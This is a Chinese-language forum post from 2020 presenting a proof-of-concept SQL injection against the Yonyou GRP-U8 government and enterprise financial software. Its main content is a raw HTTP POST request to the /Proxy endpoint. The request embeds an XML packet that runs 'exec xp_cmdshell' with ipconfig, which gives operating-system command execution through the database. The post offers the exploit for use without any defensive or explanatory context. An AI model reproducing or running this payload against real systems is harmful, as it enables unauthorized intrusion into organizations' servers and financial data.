请选择 进入手机版 | 继续访问电脑版
查看: 2200|回复: 1

用友GRP-U8 SQL注入

[复制链接]
  • TA的每日心情

    6 天前
  • 签到天数: 928 天

    [LV.10]以坛为家III

    发表于 2020-9-11 20:47:26 | 显示全部楼层 |阅读模式
    2020091112340840-1024x612.jpg

    POC:
    [AppleScript] 纯文本查看 复制代码
    POST /Proxy HTTP/1.1
    Accept: Accept: */*
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
    Host: host
    Content-Length: 357
    Connection: Keep-Alive
    Cache-Control: no-cache
      
      
    cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表